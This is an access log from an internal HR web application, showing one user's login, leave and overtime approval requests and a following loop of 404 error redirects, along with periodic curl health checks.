100.64.0.1 - - [04/Sep/2025:09:45:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:45:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:45:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.12.108 - - [04/Sep/2025:09:48:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:48:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.108 - - [04/Sep/2025:09:48:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.108 - - [04/Sep/2025:09:48:49 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:49:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162
192.168.12.108 - - [04/Sep/2025:09:49:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10551 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10551
192.168.12.108 - - [04/Sep/2025:09:49:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 26236 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 26236
192.168.12.108 - - [04/Sep/2025:09:49:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 7851
192.168.12.108 - - [04/Sep/2025:09:49:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 7851 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10341 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:49:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10341
192.168.12.108 - - [04/Sep/2025:09:49:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 458369
192.168.12.108 - - [04/Sep/2025:09:49:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 458369 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131062%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131062&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131062%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131062&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.12.108 - - [04/Sep/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.108 - - [04/Sep/2025:09:50:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [04/Sep/2025:09:51:32 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:51:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:52:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:52:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:22:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:22:44 +0800] "GET / HTTP/1.1" 200 439
